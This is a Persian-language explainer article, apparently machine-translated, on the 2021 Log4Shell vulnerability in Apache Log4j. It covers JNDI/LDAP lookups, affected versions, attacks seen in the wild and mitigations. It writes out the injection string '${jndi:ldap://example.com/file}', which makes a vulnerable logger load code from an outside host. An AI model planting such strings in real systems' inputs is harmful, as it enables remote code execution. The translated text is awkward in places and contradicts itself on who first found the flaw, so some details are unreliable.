فهرست مندرجات[پنهان شدن][نمایش]
در اواخر نوامبر 2021، ما یک تهدید بزرگ برای امنیت سایبری کشف کردیم. این سوء استفاده به طور بالقوه بر میلیون ها سیستم رایانه ای در سراسر جهان تأثیر می گذارد.
این راهنمای آسیبپذیری Log4j و این است که چگونه یک نقص طراحی نادیده گرفته شده، بیش از 90 درصد از خدمات رایانهای جهان را در معرض حمله قرار داده است.
Apache Log4j یک ابزار لاگ منبع باز مبتنی بر جاوا است که توسط بنیاد نرم افزار آپاچی توسعه یافته است. در ابتدا توسط Ceki Gülcü در سال 2001 نوشته شد، اکنون بخشی از Apache Logging Services، پروژه ای از بنیاد نرم افزار آپاچی است.
شرکتها در سراسر جهان از کتابخانه Log4j برای فعال کردن ورود به برنامههای خود استفاده میکنند. در واقع، کتابخانه جاوا بسیار فراگیر است که می توانید آن را در برنامه های آمازون، مایکروسافت، گوگل و غیره پیدا کنید.
برجسته بودن کتابخانه به این معنی است که هرگونه نقص احتمالی در کد می تواند میلیون ها رایانه را در معرض هک قرار دهد. در 24 نوامبر 2021، یک ابر امنیت محققی که برای علی بابا کار می کرد یک نقص وحشتناک را کشف کرد.
آسیبپذیری Log4j که به نام Log4Shell نیز شناخته میشود، از سال 2013 بدون توجه وجود داشت. این آسیبپذیری به عوامل مخرب اجازه میداد تا کد را روی سیستمهای آسیبدیده در حال اجرا Log4j اجرا کنند. در 9 دسامبر 2021 به طور عمومی افشا شد
کارشناسان صنعت، نقص Log4Shell را مینامند بزرگترین آسیب پذیری در حافظه اخیر.
در هفته پس از انتشار این آسیبپذیری، تیمهای امنیت سایبری میلیونها حمله را شناسایی کردند. برخی از محققان حتی نرخ بیش از صد حمله در دقیقه را مشاهده کردند.
چگونه کار می کند؟
برای درک اینکه چرا Log4Shell بسیار خطرناک است، باید بفهمیم که چه چیزی قادر به انجام آن است.
آسیبپذیری Log4Shell امکان اجرای کد دلخواه را فراهم میکند، که اساساً به این معنی است که یک مهاجم میتواند هر دستور یا کدی را روی یک ماشین هدف اجرا کند.
چگونه این کار را انجام می دهد؟
ابتدا باید بفهمیم JNDI چیست.
Java Naming and Directory Interface (JNDI) یک سرویس جاوا است که به برنامه های جاوا اجازه می دهد داده ها و منابع را از طریق یک نام کشف و جستجو کنند. این خدمات دایرکتوری مهم هستند زیرا مجموعه ای سازمان یافته از رکوردها را برای توسعه دهندگان فراهم می کنند تا به راحتی هنگام ایجاد برنامه ها به آنها مراجعه کنند.
JNDI می تواند از پروتکل های مختلفی برای دسترسی به یک فهرست خاص استفاده کند. یکی از این پروتکل ها پروتکل Lightweight Directory Access Protocol یا LDAP است.
هنگام ثبت یک رشته، log4j هنگامی که با عباراتی از فرم روبرو می شوند، تعویض رشته ها را انجام می دهند ${prefix:name}
.
به عنوان مثال، Text: ${java:version}
ممکن است به عنوان متن ثبت شود: جاوا نسخه 1.8.0_65. این نوع جایگزینی ها رایج هستند.
همچنین می توانیم عباراتی مانند Text: ${jndi:ldap://example.com/file}
که از سیستم JNDI برای بارگذاری یک شی جاوا از URL از طریق پروتکل LDAP استفاده می کند.
این به طور موثر داده های دریافتی از آن URL را در دستگاه بارگیری می کند. هر هکر احتمالی می تواند کد مخرب را روی یک URL عمومی میزبانی کند و منتظر بماند تا ماشین هایی که از Log4j استفاده می کنند آن را ثبت کنند.
از آنجایی که محتویات پیامهای گزارش شامل دادههای کنترلشده توسط کاربر است، هکرها میتوانند ارجاعات JNDI خود را وارد کنند که به سرورهای LDAP که آنها کنترل میکنند اشاره میکند. این سرورهای LDAP می توانند پر از اشیاء مخرب جاوا باشند که JNDI می تواند از طریق این آسیب پذیری اجرا کند.
چیزی که این موضوع را بدتر می کند این است که فرقی نمی کند که برنامه سمت سرور باشد یا سمت کلاینت.
تا زمانی که لاگر راهی برای خواندن کدهای مخرب مهاجم وجود داشته باشد، برنامه همچنان برای سوء استفاده باز است.
چه کسی آسیب دیده است؟
این آسیبپذیری همه سیستمها و سرویسهایی را که از APache Log4j استفاده میکنند، با نسخههای 2.0 تا 2.14.1 تحت تأثیر قرار میدهد.
چندین متخصص امنیتی توصیه می کنند که این آسیب پذیری ممکن است بر تعدادی از برنامه های کاربردی با استفاده از جاوا تأثیر بگذارد.
این نقص اولین بار در بازی ویدیویی Minecraft متعلق به مایکروسافت کشف شد. مایکروسافت از کاربران خود خواسته است تا نرم افزار Minecraft نسخه جاوا خود را برای جلوگیری از هرگونه خطر ارتقا دهند.
جن ایسترلی، مدیر آژانس امنیت سایبری و امنیت زیرساخت (CISA) می گوید که فروشندگان یک مسئولیت عمده برای جلوگیری از کاربران نهایی از عوامل مخربی که از این آسیب پذیری سوء استفاده می کنند.
فروشندگان همچنین باید با مشتریان خود در ارتباط باشند تا اطمینان حاصل کنند که کاربران نهایی می دانند که محصول آنها دارای این آسیب پذیری است و باید به روز رسانی نرم افزار را در اولویت قرار دهند.
بر اساس گزارش ها، حملات از قبل آغاز شده است. سیمانتک، شرکتی که نرمافزار امنیت سایبری را ارائه میکند، تعداد مختلفی از درخواستهای حمله را مشاهده کرده است.
در اینجا چند نمونه از انواع حملاتی که محققان شناسایی کرده اند آورده شده است:
- بات نت
بات نت ها شبکه ای از کامپیوترها هستند که تحت کنترل یک طرف مهاجم قرار دارند. آنها به انجام حملات DDoS، سرقت داده ها و سایر کلاهبرداری ها کمک می کنند. محققان بات نت Muhstik را در اسکریپت های پوسته دانلود شده از اکسپلویت Log4j مشاهده کردند.
- تروجان XMRig Miner
XMRig یک استخراج کننده ارز دیجیتال منبع باز است که از CPU برای استخراج توکن Monero استفاده می کند. مجرمان سایبری می توانند XMRig را بر روی دستگاه های افراد نصب کنند تا بتوانند بدون اطلاع آنها از قدرت پردازش خود استفاده کنند.
- باج افزار خوانساری
باج افزار به نوعی از بدافزار اشاره دارد که برای آن طراحی شده است رمزگذاری فایل ها روی یک کامپیوتر سپس مهاجمان می توانند در ازای بازگرداندن دسترسی به فایل های رمزگذاری شده، درخواست پرداخت کنند. محققان باج افزار Khonsari را در حملات Log4Shell کشف کردند. آنها سرورهای ویندوز را هدف قرار می دهند و از چارچوب دات نت استفاده می کنند.
بعد از آن چه اتفاقی می افتد؟
کارشناسان پیشبینی میکنند که رفع کامل آشفتگی ناشی از آسیبپذیری Log4J ممکن است ماهها یا شاید سالها طول بکشد.
این فرآیند شامل به روز رسانی هر سیستم آسیب دیده با یک نسخه وصله شده است. حتی اگر همه این سیستمها وصله شوند، همچنان خطر درهای پشتی احتمالی وجود دارد که هکرها ممکن است قبلاً به پنجره باز بودن سرورها برای حمله اضافه کرده باشند.
بسیاری راه حل ها و کاهش وجود دارد تا از سوء استفاده برنامه ها توسط این باگ جلوگیری کند. نسخه جدید Log4j 2.15.0-rc1 تنظیمات مختلف را برای کاهش این آسیب پذیری تغییر داد.
همه ویژگیهایی که از JNDI استفاده میکنند بهطور پیشفرض غیرفعال میشوند و جستجوهای از راه دور نیز محدود شدهاند. غیرفعال کردن ویژگی جستجو در تنظیمات Log4j به کاهش خطر سوء استفادههای احتمالی کمک میکند.
خارج از Log4j، هنوز نیاز به یک طرح گسترده تر برای جلوگیری از سوء استفاده های منبع باز وجود دارد.
در اوایل ماه مه، کاخ سفید یک پیام را منتشر کرد دستور اجرایی که هدف آن بهبود امنیت سایبری ملی بود. این شامل مقرراتی برای صورتحساب مواد نرم افزاری (SBOM) بود که اساساً یک سند رسمی بود که حاوی لیستی از هر آیتم مورد نیاز برای ساخت برنامه بود.
این شامل قطعاتی مانند منبع باز بسته ها، وابستگی ها و API های مورد استفاده برای توسعه. اگرچه ایده SBOM برای شفافیت مفید است، آیا واقعاً به مصرف کننده کمک می کند؟
ارتقاء وابستگی ها ممکن است بسیار دردسرساز باشد. شرکتها میتوانند به جای خطر اتلاف وقت اضافی برای یافتن بستههای جایگزین، پرداخت جریمه را انتخاب کنند. شاید این SBOM ها فقط در صورتی مفید باشند که آنها باشند حوزه بیشتر محدود شده است.
نتیجه
مسئله Log4j چیزی بیش از یک مشکل فنی برای سازمان هاست.
رهبران کسب و کار باید از خطرات بالقوه ای که ممکن است زمانی رخ دهد که سرورها، محصولات یا خدمات آنها به کدهایی تکیه می کنند که خودشان آن را حفظ نمی کنند، آگاه باشند.
اتکا به برنامه های منبع باز و شخص ثالث همیشه با مقداری خطر همراه است. شرکتها باید قبل از آشکار شدن تهدیدات جدید، استراتژیهای کاهش ریسک را در نظر بگیرند.
بسیاری از وب متکی به نرم افزار منبع باز است که توسط هزاران داوطلب در سراسر جهان نگهداری می شود.
اگر میخواهیم وب را مکانی امن نگه داریم، دولتها و شرکتها باید در تامین منابع مالی تلاشهای منبع باز و آژانسهای امنیت سایبری مانند CISA.
پاسخ دهید